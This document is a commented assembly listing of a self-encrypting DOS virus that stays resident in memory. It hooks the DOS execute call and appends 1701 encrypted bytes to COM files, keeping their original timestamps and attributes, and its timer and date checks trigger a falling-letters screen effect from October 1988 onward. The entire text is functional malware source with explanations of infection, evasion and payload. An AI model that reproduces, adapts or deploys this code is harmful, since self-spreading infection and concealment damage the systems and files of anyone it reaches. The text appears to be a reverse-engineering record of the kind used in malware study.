L0004: CALL L0007 ; PUSH BEGIN ADDRESS L0007: POP BX ; POP ADDRESS SUB BX,0131H ; CALC DATA POINT TEST BYTE PTR CS:[BX+012AH],01H ; ENCODE VIRUS ? JE L0023 ; VIRUS IS ENCODING. START LEA SI,[BX+014DH] ; START ADDRES FOR ENCODE MOV SP,0682H ; SIZE OF VIRUS L001B: XOR [SI],SI ; ENCODE ONE BYTE XOR [SI],SP INC SI ; ADDRESS OF NEXT BYTE DEC SP ; LAST BYTE ? JNE L001B ; NO. ENCODE NEXT BYTE L0023: MOV SP,BP ; RESTORE STACK JMP SHORT L0076 NOP ADD [BX+DI],AL ESC 09,[SI] L002C: DW 0000H DEC BP ;DB 4DH POP DX ;DB 5AH ADD BYTE PTR [BX+SI],00H DEC BX INC WORD PTR [BX+SI] DB 0F0H ADC [BP+DI],AX MOV DL,0BH INC BP ADC AL,26H ADD AL,[BX+SI] ADD [BX+SI],AH ADD [BX+SI+12H],DH MOV BH,65H MOV CX,2A41H JNP LFFCC INC BP L004D: DW 0000H JMP L0BD4 ;DB 0E9H,82H,0BH L0052: DW 2 DUP(0000H) ADD [BX+SI],CL ;DB 00H,08H L0058: DW 2 DUP(0000H) AND AL,[BX+DI] ;DB 22H,01H POP ES ;DB 07H ADD AL,[BX] ;DB 02H,07H ADD AL,[BX+SI] ;DB 02H,00H ADD [BX+DI],AL ;DB 00H,01H ADD [BX+DI+8518H],BL ;DB 00H,99H,18H,85H ADD AL,00H ;DB 04H,00H XOR BYTE PTR [SI],92H ;DB 80H,34H,92H XOR AL,13H ;DB 34H,13H ADD [BX+DI],AL ADC AL,14H SUB [BX+SI],BP L0076: CALL L0079 ; PUSH ADDRES L0079: POP BX ; POP ADDRES TO BX SUB BX,01A3H ; CALC DATA POINT MOV CS:[BX+0154H],CS ; SAVE CURRENT SEGMENT MOV CS:[BX+0156H],AX ; SAVE AX MOV AX,CS:[BX+0158H] MOV WORD PTR DS:[0100H],AX MOV AL,CS:[BX+015AH] MOV BYTE PTR DS:[0102H],AL PUSH BX ; PUSH DATA POINT MOV AH,30H ; GET DOS VERSION INT 21H L009D: POP BX ; POP DATA POINT CMP AL,02H ; INCORECT DOS VERSION ? JB L00B3 ; YES. EXECUTE PROGRAM MOV AX,4BFFH ; THE VIRUS IS ACTIVE IN MEMORY ? XOR DI,DI XOR SI,SI INT 21H L00AB: CMP DI,55AAH ; SPECIAL CODE ? JNE L00C0 ; NO. INSERT VIRUS IN MEMORY JB L00C9 ; ??? L00B3: STI PUSH DS POP ES MOV AX,CS:[BX+0156H] JMP DWORD PTR CS:[BX+0152H] L00C0: PUSH BX ; SAVE BX MOV AX,3521H ; GET INT21 ADDRESS IN ES:BX INT 21H MOV AX,BX POP BX ; RESTORE BX L00C9: MOV CS:[BX+0161H],AX ; STORE INT21 ADDRESS MOV CS:[BX+0163H],ES MOV AX,0F000H ; 'BIOS' SEGMENT MOV ES,AX MOV DI,0E008H ; OFFSET 'COPR. IBM',0 CMP WORD PTR [DI],4F43H ; CHECK ORIGINAL NAME JNE L00FC CMP WORD PTR [DI+02H],5250H JNE L00FC CMP WORD PTR [DI+04H],202EH JNE L00FC CMP WORD PTR [DI+06H],4249H JNE L00FC CMP WORD PTR [DI+08H],004DH JE L00B3 ; ORIGINAL COMPUTER. CAN'T INSERT VIRUS L00FC: MOV AX,007BH ; SIZE OF VIRUS 'MCB' MOV BP,CS ; PROGRAM 'MCB' SEGMENT DEC BP MOV ES,BP MOV SI,CS:[0016H] MOV ES:[0001H],SI MOV DX,ES:[0003H] ; GET BLOCK SIZE MOV WORD PTR ES:[0003H],AX ; NEW BLOCK SIZE MOV BYTE PTR ES:[0000H],4DH ; MIDDLE BLOCK SUB DX,AX ; CALC NEW SIZE OF PROGRAM MEMORY BLOCK DEC DX INC BP ; PSP SEGMENT ADD BP,AX ; NEW 'PSP' OF PROGRAM INC BP MOV ES,BP ; SEGMENT OF 'PSP' PUSH BX ; SET NEW SEGMENT OF 'PSP' MOV AH,50H MOV BX,BP INT 21H L012D: POP BX XOR DI,DI ; NEW SEGMENT OF STACK PUSH ES ; PUSH 0 POP SS PUSH DI LEA DI,[BX+07CEH] ; ADDRES OF VIRUS MOV SI,DI ; MOVE VIRUS MOV CX,06A5H STD REPZ MOVSB PUSH ES ; EXEC VIRUS IN NEW SEGMENT LEA CX,[BX+0270H] PUSH CX RETF L0146: MOV CS:[BX+0154H],CS ; SAVE NEW SEGMENT LEA CX,[BX+012AH] ; SIZE PROGRAM REPZ MOVSB ; MOVE PROGRAM MOV CS:[0036H],CS ; STORE CS ??? DEC BP ; NEW 'MCB' SEGMENT MOV ES,BP MOV ES:[0003H],DX ; NEW SIZE OF BLOCK MOV BYTE PTR ES:[0000H],5AH ; 'LAST' BLOCK MOV ES:[0001H],CS ; 'PSP' SEGMENT INC BP ; 'PSP' SEGMENT MOV ES,BP PUSH DS ; ES = NEW VIRUS SEGMENT POP ES PUSH CS ; DS = CURENT VIRUS SEGMENT POP DS LEA SI,[BX+012AH] ; BEGIN VIRUS MOV DI,0100H ; BEGIN IN NEW SEGMENT MOV CX,06A5H ; VIRUS SIZE CLD REPZ MOVSB ; MOVE VIRUS PUSH ES ; EXECUTE VIRUS IN NEW SEGMENT LEA AX,DS:[0284H] PUSH AX RETF L0184: MOV WORD PTR CS:[002CH],0000H ; CLEAR ENVIROMENT OF VIRUS MOV CS:[0016H],CS PUSH DS ; PUSH DS LEA DX,DS:[031CH] ; L021C - VIRUS INT21 DRIVER PUSH CS POP DS ; SET NEW INT21 VECTOR MOV AX,2521H INT 21H L019C: POP DS ; POP DS MOV AH,1AH ; SET NEW 'DTA' MOV DX,0080H INT 21H L01A4: CALL L039A MOV AH,2AH ; GET DATE : CX - YEAR , INT 21H ; DH - MONTH , DL - DAY L01AB: CMP CX,07C4H ; COMPARE WIDTH 1988 ? JNBE L0216 ; YEAR IS > 1988 ? JE L01DD ; YEAR IS 1988 ? CMP CX,07BCH ; YEAR IS 1980 ? JNE L0216 ; NO ? PUSH DS ; STORE DS MOV AX,3528H ; GET ADDRESS INT28 INT 21H L01BF: MOV CS:[013BH],BX ; SAVE ADDRESS MOV CS:[013DH],ES MOV AX,2528H ; SET NEW INT28 MOV DX,0722H ; L0622 - INT28 DRIVER PUSH CS POP DS INT 21H L01D3: POP DS ; RESTORE DS OR BYTE PTR CS:[0157H],08H ; SET 'SHOW' STATUS JMP SHORT L01E2 NOP L01DD: CMP DH,0AH ; 1988, OCTOBER ? JB L0216 L01E2: CALL L0462 MOV AX,1518H CALL L036F INC AX MOV WORD PTR CS:[015EH],AX MOV WORD PTR CS:[0160H],AX MOV WORD PTR CS:[0164H],0001H MOV AX,351CH ; GET ADDRESS INT1C - TIMER INT 21H L0200: MOV CS:[0133H],BX ; SAVE ADDRESS MOV CS:[0135H],ES PUSH DS ; SET NEW INT1C MOV AX,251CH MOV DX,06BDH ; L05BD - INT1C DRIVER PUSH CS POP DS INT 21H L0215: POP DS L0216: MOV BX,0FFD6H JMP L00B3 ; ============== INT 21 DRIVER ============== L021C: CMP AH,4BH ; EXEC FUNCTION ? JE L0231 L0221: JMP DWORD PTR CS:[0137H] ; JUMP TO ORIGINAL INT21 L0226: MOV DI,55AAH ; SPECIAL CODE LES AX,DWORD PTR CS:[0137H] ; ES:AX - ORIGINAL INT21 VECTOR MOV DX,CS ; DX - VIRUS SEGMENT IRET ; RETURN L0231: CMP AL,0FFH ; SPECIAL FUNCTION ? JE L0226 CMP AL,00H ; EXEC PROGRAM ? JNE L0221 ; NO. QUIT PUSHF ; SAVE REGISTERS L023A: DB 'PSQRVWU' PUSH ES PUSH DS MOV CS:[0147H],DX ; SAVE FILE NAME MOV CS:[0149H],DS PUSH CS ; ES = CURENT SEGMENT POP ES MOV AX,3D00H ; OPEN FILE INT 21H L0254: JB L02AC ; ERROR ? MOV BX,AX ; SAVE FP MOV AX,5700H ; GET TIME & DATE OF FILE INT 21H L025D: MOV CS:[0143H],DX ; SAVE TIME & DATE MOV CS:[0145H],CX MOV AH,3FH ; READ FIRS 3 BYTES FROM FILE PUSH CS POP DS MOV DX,012EH MOV CX,0003H INT 21H L0273: JB L02AC ; \ CMP AX,CX ; > ERROR ? JNE L02AC ; / MOV AX,4202H ; GET FILE SIZE XOR CX,CX XOR DX,DX INT 21H L0282: MOV WORD PTR CS:[014BH],AX ; SAVE FILE SIZE MOV CS:[014DH],DX MOV AH,3EH ; CLOSE FILE INT 21H L028F: CMP WORD PTR CS:[012EH],5A4DH ; 'EXE' FILE ? JNE L029B ; NO. INFECT ... JMP L0362 ; QUIT L029B: CMP WORD PTR CS:[014DH],+00H ; SIZE OF FILE > 65535 ? JNBE L02AC ; YES. QUIT CMP WORD PTR CS:[014BH],0F93BH ; SIZE OF FILE > 63803 ? JBE L02AF ; YES. QUIT L02AC: JMP L0362 ; QUIT L02AF: CMP BYTE PTR CS:[012EH],0E9H ; FIRST BYTE IS 'JUMP' CODE ? JNE L02C5 ; NO. INFECT MOV AX,WORD PTR CS:[014BH] ; AX = NEXT WORD - 1703 ADD AX,0F959H ; (TWO BYTES FOR JUMP OFFSET) CMP AX,CS:[012FH] ; AX = FILE SIZE ? JE L02AC ; YES. QUIT L02C5: MOV AX,4300H ; GET FILE ATTRIBUTE LDS DX,DWORD PTR CS:[0147H] INT 21H L02CF: JB L02AC ; ERROR ? MOV CS:[0141H],CX ; SAVE ATTRIBUTE ? XOR CL,20H ; CHANGE ATTRIBUTE ? TEST CL,27H JE L02E7 MOV AX,4301H ; SET NEW ATTRIBUTE XOR CX,CX INT 21H L02E5: JB L02AC ; ERROR ? L02E7: MOV AX,3D02H ; OPEN FILE - READ/WRITE MODE INT 21H L02EC: JB L02AC ; ERROR ? MOV BX,AX ; SAVE FP MOV AX,4202H ; MOVE FP TO END OF FILE XOR CX,CX XOR DX,DX INT 21H L02F9: CALL L064C ; WRITE VIRUS CODE JNB L0316 ; ERROR ? MOV AX,4200H ; MOVE FP TO BEGIN VIRUS MOV CX,CS:[014DH] MOV DX,CS:[014BH] INT 21H L030D: MOV AH,40H ; CUT FILE (ERASE VIRUS) XOR CX,CX INT 21H L0313: JMP SHORT L0336 ; QUIT NOP L0316: MOV AX,4200H ; MOVE FP TO BEGIN FILE XOR CX,CX XOR DX,DX INT 21H L031F: JB L0336 MOV AX,WORD PTR CS:[014BH] ; CALC 'JUMP' WORD ADD AX,0FFFEH MOV WORD PTR CS:[0150H],AX ; SAVE 'JUMP' WORD MOV AH,40H ; WRITE 'JUMP' CODE - 3 BYTES MOV DX,014FH MOV CX,0003H INT 21H L0336: MOV AX,5701H ; SET OLD TIME & DATA OF FILE MOV DX,CS:[0143H] MOV CX,CS:[0145H] INT 21H L0345: MOV AH,3EH ; CLOSE FILE INT 21H L0349: MOV CX,CS:[0141H] ; SET OLD ATTRIBUTES ? TEST CL,07H JNE L0358 TEST CL,20H JNE L0362 L0358: MOV AX,4301H ; SET OLD ATTRIBUTES LDS DX,DWORD PTR CS:[0147H] INT 21H L0362: POP DS ; POP REGISTERS L0363: DB 07H,']_^ZY[X' POPF JMP L0221 ; EXEC FILE L036F: PUSH DS ; SAVE DS PUSH CS ; DS = CS POP DS PUSH BX ; PUSH REGISTERS PUSH CX PUSH DX PUSH AX ; SAVE ARGUMENT MOV CX,0007H ; SIZE OF ARRAY MOV BX,0174H ; ADDRESS OF END OF ARRAY PUSH WORD PTR [BX] ; SAVE LAST ELEMENT L037E: MOV AX,[BX-02H] ; ARRAY[I] = ARRAY[I-1] ADC [BX],AX DEC BX DEC BX LOOP L037E POP AX ; CALC LAST ELEMENT ADC [BX],AX MOV DX,[BX] ; GET LAST ELEMENT POP AX ; POP ARGUMENT OR AX,AX ; ARGUMENT IS NULL ? JE L0393 MUL DX ; MUL RANDOM WORD L0393: MOV AX,DX ; RETURN RANDOM WORD POP DX ; RESTORE REGISTERS POP CX POP BX POP DS RET L039A: PUSH DS PUSH ES PUSH SI PUSH DI PUSH CX PUSH CS POP ES MOV CX,0040H MOV DS,CX MOV DI,0166H MOV SI,006CH MOV CX,0008H CLD REPZ MOVSW POP CX POP DI POP SI POP ES POP DS RET L03B8: PUSH SI PUSH DS PUSH DX MOV AL,DH MUL BYTE PTR DS:[0152H] MOV DH,00H ADD AX,DX SHL AX,1 ADD AX,DS:[015AH] MOV SI,AX TEST BYTE PTR DS:[0154H],0FFH MOV DS,DS:[0158H] JE L03EA MOV DX,03DAH CLI L03DC: IN AL,DX TEST AL,08H JNE L03EA TEST AL,01H JNE L03DC L03E5: IN AL,DX TEST AL,01H JE L03E5 L03EA: LODSW STI POP DX POP DS POP SI RET L03F0: PUSH DI PUSH ES PUSH DX PUSH BX MOV BX,AX MOV AL,DH MUL BYTE PTR DS:[0152H] MOV DH,00H ADD AX,DX SHL AX,1 ADD AX,DS:[015AH] MOV DI,AX TEST BYTE PTR DS:[0154H],0FFH MOV ES,DS:[0158H] JE L0425 MOV DX,03DAH CLI L0417: IN AL,DX TEST AL,08H JNE L0425 TEST AL,01H JNE L0417 L0420: IN AL,DX TEST AL,01H JE L0420 L0425: MOV AX,BX STOSB STI POP BX POP DX POP ES POP DI RET L042E: PUSH CX L042F: PUSH CX MOV CX,DS:[015CH] L0434: LOOP L0434 POP CX LOOP L042F POP CX RET L043B: PUSH AX IN AL,61H XOR AL,02H AND AL,0FEH OUT 61H,AL POP AX RET L0446: CMP AL,00H JE L0454 CMP AL,20H JE L0454 CMP AL,0FFH JE L0454 CLC RET L0454: STC RET L0456: CMP AL,0B0H JB L0460 CMP AL,0DFH JNBE L0460 STC RET L0460: CLC RET L0462: PUSH DS MOV AX,0040H MOV DS,AX STI MOV AX,WORD PTR DS:[006CH] L046C: CMP AX,DS:[006CH] JE L046C XOR CX,CX MOV AX,WORD PTR DS:[006CH] L0477: INC CX JE L048F CMP AX,DS:[006CH] JE L0477 L0480: POP DS MOV AX,CX XOR DX,DX MOV CX,000FH DIV CX MOV WORD PTR CS:[015CH],AX RET L048F: DEC CX JMP SHORT L0480 L0492: MOV BYTE PTR DS:[0153H],18H PUSH DS ; GET CURENT VIDEO PAGE MOV AX,0040H MOV DS,AX MOV AX,WORD PTR DS:[004EH] POP DS MOV WORD PTR DS:[015AH],AX ; SAVE CURENT VIDEO PAGE MOV DL,0FFH ; EGA CHARACTER GENERATOR FUNC MOV AX,1130H MOV BH,00H PUSH ES PUSH BP INT 10H POP BP POP ES CMP DL,0FFH JE L04BA MOV DS:[0153H],DL L04BA: MOV AH,0FH INT 10H L04BE: MOV DS:[0152H],AH MOV BYTE PTR DS:[0154H],00H MOV WORD PTR DS:[0158H],0B000H CMP AL,07H JE L0507 JB L04D6 JMP L05B6 L04D6: MOV WORD PTR DS:[0158H],0B800H CMP AL,03H JNBE L0507 CMP AL,02H JB L0507 MOV BYTE PTR DS:[0154H],01H MOV AL,BYTE PTR DS:[0153H] INC AL MUL BYTE PTR DS:[0152H] MOV WORD PTR DS:[0162H],AX MOV AX,WORD PTR DS:[0164H] CMP AX,DS:[0162H] JBE L0501 MOV AX,WORD PTR DS:[0162H] L0501: CALL L036F INC AX MOV SI,AX L0507: XOR DI,DI L0509: INC DI MOV AX,WORD PTR DS:[0162H] SHL AX,1 CMP DI,AX JBE L0516 JMP L05B6 L0516: OR BYTE PTR DS:[0157H],02H MOV AL,BYTE PTR DS:[0152H] MOV AH,00H CALL L036F MOV DL,AL MOV AL,BYTE PTR DS:[0153H] MOV AH,00H CALL L036F MOV DH,AL CALL L03B8 CALL L0446 JB L0509 CALL L0456 JB L0509 MOV BYTE PTR DS:[0155H],AL MOV DS:[0156H],AH MOV CL,DS:[0153H] MOV CH,00H L0549: INC DH CMP DH,DS:[0153H] JNBE L05A3 CALL L03B8 CMP AH,DS:[0156H] JNE L05A3 CALL L0446 JB L0587 L055F: CALL L0456 JB L05A3 INC DH CMP DH,DS:[0153H] JNBE L05A3 CALL L03B8 CMP AH,DS:[0156H] JNE L05A3 CALL L0446 JNB L055F CALL L043B DEC DH CALL L03B8 MOV BYTE PTR DS:[0155H],AL INC DH L0587: AND BYTE PTR DS:[0157H],0FDH DEC DH MOV AL,20H CALL L03F0 INC DH MOV AL,BYTE PTR DS:[0155H] CALL L03F0 JCXZ L05A1 CALL L042E DEC CX L05A1: JMP SHORT L0549 L05A3: TEST BYTE PTR DS:[0157H],02H JE L05AD JMP L0509 L05AD: CALL L043B DEC SI JE L05B6 JMP L0507 L05B6: IN AL,61H AND AL,0FCH OUT 61H,AL RET ; ============== INT 1C DRIVER ============== L05BD: TEST BYTE PTR CS:[0157H],09H ; SHOW ? JNE L061D ; NO. EXEC ORIGINAL INT1C OR BYTE PTR CS:[0157H],01H ; CLEAR SHOW STATUS DEC WORD PTR CS:[015EH] ; DECREMENT COUNTER JNE L0617 ; FAILING LETERS ? PUSH DS ; SAVE DS & ES PUSH ES PUSH CS ; DS = CS POP DS PUSH CS ; ES = DS POP ES L05D7: DB 'PSQRVWU' ; PUSH REGISTERS MOV AL,20H ; NO INTERUPTS OUT 20H,AL MOV AX,WORD PTR DS:[0160H] CMP AX,0438H JNB L05EE MOV AX,0438H L05EE: CALL L036F ; CALC RANDOM WORD FOR TIMER INC AX MOV WORD PTR DS:[015EH],AX ; STORE NEW COUNTER MOV WORD PTR DS:[0160H],AX CALL L0492 MOV AX,0003H CALL L036F INC AX MUL WORD PTR DS:[0164H] JNB L060B MOV AX,0FFFFH L060B: MOV WORD PTR DS:[0164H],AX L060E: DB ']_^ZY[X' ; RESTORE REGISTERS POP ES POP DS L0617: AND BYTE PTR CS:[0157H],0FEH ; SET SHOW STATUS L061D: JMP DWORD PTR CS:[0133H] ; EXEC OROGINAL INT1C TEST BYTE PTR CS:[0157H],08H JE L0647 ; ============== INT 28 DRIVER ============== L0622: PUSH AX ; SAVE REGISTERS PUSH CX PUSH DX MOV AH,2AH ; GET DATE INT 21H L0631: CMP CX,07C4H ; COMPARE WIDTH 1988 JB L0644 ; YEAR IS < 1988 ? - NO SHOW JNBE L063E ; YEAR IS > 1988 ? - SET FLAG FOR SHOW CMP DH,0AH ; YEAR IS 1988. MONTH IS < OCTOBER ? JB L0644 ; YES. NO SHOW L063E: AND BYTE PTR CS:[0157H],0F7H ; SET SHOW FLAG L0644: POP DX ; RESTORE REGISTERS POP CX POP AX L0647: JMP DWORD PTR CS:[013BH] ; EXECUTING ORIGINAL INT28 L064C: PUSH ES PUSH BX MOV AH,48H ; GET MEMORY - 1712 BYTES MOV BX,006BH INT 21H L0655: POP BX JNB L065B ; NO ERROR ? L0658: STC ; ERROR - QUIT POP ES RET L065B: MOV BYTE PTR CS:[0100H],01H L0661: MOV ES,AX ; ES = NEW MEMORY SEGMENT PUSH CS ; DS = VIRUS SEGMENT POP DS XOR DI,DI ; MOVE VIRUS CODE TO NEW SEGMENT MOV SI,0100H MOV CX,06A5H ; SIZE OF VIRUS - 1701 BYTES CLD REPZ MOVSB MOV DI,0023H ; BEGIN FOR CODING V.CODE MOV SI,0123H ; CALC CODING WORD ADD SI,DS:[014BH] MOV CX,0682H ; SIZE OF CODING CODE - 1666 BYTES L067D: XOR ES:[DI],SI ; CODING BYTE XOR ES:[DI],CX INC DI ; ADDRESS OF NAXT BYTE INC SI LOOP L067D ; CODING NEXT BYTE MOV DS,AX ; SEGMENT OF CODING CODE MOV AH,40H ; WRITE CODE XOR DX,DX MOV CX,06A5H ; SIZE CODE - 1701 BYTES INT 21H L0692: PUSHF PUSH AX MOV AH,49H ; FREE BLOCK INT 21H L0698: POP AX POPF PUSH CS POP DS JB L0658 ; ERROR IN WRITING ? CMP AX,CX ; ALL BYTES IS WRITING ? JNE L0658 POP ES ; RETURN - NO ERRORS CLC RET L06A5: JB L0661 CMP AX,CX JNE L0661 POP ES CLC RET